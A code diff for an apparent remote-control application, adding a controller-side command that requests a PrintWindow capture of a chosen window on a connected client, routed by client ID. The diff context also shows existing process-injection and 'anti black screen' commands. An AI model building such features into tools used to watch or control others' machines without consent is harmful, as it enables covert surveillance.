Feat: window capture via PrintWindow with server-side HWND routing by clientID

server/2015Remote/SystemDlg.cpp

@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
     ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
     ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
     ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
+    ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
 END_MESSAGE_MAP()
 
 
@@ -638,3 +639,28 @@ void CSystemDlg::OnPlistAntiBlackScreen()
     memcpy(arg + 256, arch, arch.GetLength());
     m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
 }
+
+void CSystemDlg::OnWlistView()
+{
+    int nItem = m_ControlList.GetSelectionMark();
+    if (nItem < 0) return;
+    auto data = (ItemData*)m_ControlList.GetItemData(nItem);
+    if (!data) return;
+
+    // 最小化的窗口 PrintWindow 不会被调用，远程端只能看到黑屏
+    if (data->Data[2] == "minimized") {
+        MessageBoxAPI_L(m_hWnd, "该窗口已最小化，请先还原后再查看。", "提示", MB_ICONINFORMATION);
+        return;
+    }
+
+    // 布局: [clientID: uint64_t][HWND: uint64_t]，共 16 字节
+    // 使用子连接的 clientID 而非 IP，以确保多客户端同 IP 时路由正确
+    char* arg = new char[2 * sizeof(uint64_t)]();
+    uint64_t clientID = m_ContextObject->GetClientID();
+    uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
+    memcpy(arg,                    &clientID, sizeof(uint64_t));
+    memcpy(arg + sizeof(uint64_t), &hwnd64,   sizeof(uint64_t));
+
+    ASSERT(m_pParent);
+    m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
+}